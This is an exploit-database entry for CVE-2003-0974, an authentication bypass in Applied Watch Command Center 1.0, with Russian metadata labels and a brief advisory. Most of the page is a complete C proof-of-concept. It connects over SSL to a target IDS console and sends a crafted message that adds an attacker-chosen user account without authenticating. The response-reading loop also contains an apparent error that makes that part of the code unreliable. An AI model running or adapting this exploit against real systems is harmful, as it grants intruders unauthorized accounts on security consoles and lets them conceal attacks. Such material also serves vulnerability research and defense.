Exploit Applied Watch Command Center 1.0 - Authentication Bypass (1)

[Exploiter]

EDB-ID

23404

Проверка EDB

1. Пройдено

Автор

BUGTRAQ SECURITY

Тип уязвимости

REMOTE

Платформа

MULTIPLE

CVE

cve-2003-0974

Дата публикации

2003-11-28

// source: https://www.securityfocus.com/bid/9124/info

A vulnerability has been identified in the system that may allow an attacker to bypass authentication to add attacker supplied IDS alerts and new user accounts in the console. Successful exploitation of these issues may allow an attacker to gain unauthorized access to a vulnerable system or conceal intrusion attempts.

Proof of concept exploits have been made available for this issue. 

#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
#include <string.h>
#include <sys/socket.h>
#include <netinet/in.h>
#include <arpa/inet.h>
#include <netdb.h>
#include <openssl/ssl.h>

#define PUT_UINT32(i, val)\
        {\
          buf[(i) ++] = ((val) >> 24) & 0xff;\
          buf[(i) ++] = ((val) >> 16) & 0xff;\
          buf[(i) ++] = ((val) >> 8) & 0xff;\
          buf[(i) ++] = (val) & 0xff;\
        }

int main(int argc, char *argv[])
{
  unsigned char *buf;
  unsigned int idx, i;
  size_t userlen, passlen, buflen, lenidx;
  int sock;
  struct sockaddr_in sin;
  unsigned char respbuf[28];
  ssize_t n;
  SSL_CTX *sslctx;
  SSL *ssl;

  if (argc != 5) { fprintf(stderr, "usage: %s <host> <port> <user> 
<pass>\n", argv[0]); exit(1); }
  userlen = strlen(argv[3]);
  passlen = strlen(argv[4]);
  buf = malloc(buflen = 12 + 4 + userlen + 4 + 4 + passlen + 4 + 4 + 4);
  memset(buf, 0, buflen);
  idx = 0;
  PUT_UINT32(idx, 0xbabe0001); /* 0xbabe0002 for other protocol ver */
  PUT_UINT32(idx, 0x6a);
  lenidx = idx;
  PUT_UINT32(idx, 0xf00fc7c8);
  //PUT_UINT32(idx, 0); /* uncomment for other protocol ver */
  PUT_UINT32(idx, userlen);
  memcpy(&buf[idx], argv[3], userlen); idx += userlen;
  idx |= 3; idx ++;
  PUT_UINT32(idx, passlen);
  memcpy(&buf[idx], argv[4], passlen); idx += passlen;
  idx |= 3; idx ++;
  PUT_UINT32(idx, 0x1);
  PUT_UINT32(idx, 0x1);
  PUT_UINT32(lenidx, idx);
  printf("connecting\n");
  memset(&sin, 0, sizeof(sin));
  sin.sin_family = AF_INET;
  sin.sin_port = htons(atoi(argv[2]));
  if ((sin.sin_addr.s_addr = inet_addr(argv[1])) == -1)
  {
    struct hostent *he;

    if ((he = gethostbyname(argv[1])) == NULL) { 
perror("gethostbyname()"); exit(1); }
    memcpy(&sin.sin_addr, he->h_addr, 4);
  }
  sock = socket(AF_INET, SOCK_STREAM, 0);
  if (connect(sock, (struct sockaddr *)&sin, sizeof(sin)) != 0) { 
perror("connect()"); exit(1); }
  printf("doing ssl handshake\n");
  SSL_load_error_strings();
  SSL_library_init();
  if ((sslctx = SSL_CTX_new(SSLv23_client_method())) == NULL) { 
fprintf(stderr, "SSL_CTX_new()\n"); exit(1); }
  if ((ssl = SSL_new(sslctx)) == NULL) { fprintf(stderr, "SSL_new()\n"); 
exit(1); }
  if (SSL_set_fd(ssl, sock) != 1) { fprintf(stderr, "SSL_set_fd()\n"); 
exit(1); }
  if (SSL_connect(ssl) != 1) { fprintf(stderr, "SSL_connect()\n"); 
exit(1); }
  printf("sending %u bytes:\n", idx);
  for (i = 0; i < idx; i ++) printf("%.2x ", buf[i]);
  if (SSL_write(ssl, buf, idx) != idx) { perror("write()"); exit(1); }
  printf("\nreading:\n");
  i = 0;
  while (i < sizeof(respbuf))
  {
    if ((n = SSL_read(ssl, &respbuf[i], sizeof(respbuf) - i)) < 0) { 
perror("read()"); exit(1); }
    i -= n;
  }
  for (i = 0; i < sizeof(respbuf); i ++) printf("%.2x ", respbuf[i]);
  printf("\n");
  printf("adding user \"%s\" with password \"%s\" %s\n", argv[3], argv[4], 
(memcmp(&respbuf[16], "\x00\x00\x00\x00", 4) == 0)? "succeeded" : 
"failed");
  SSL_shutdown(ssl);
  close(sock);
  return 0;
}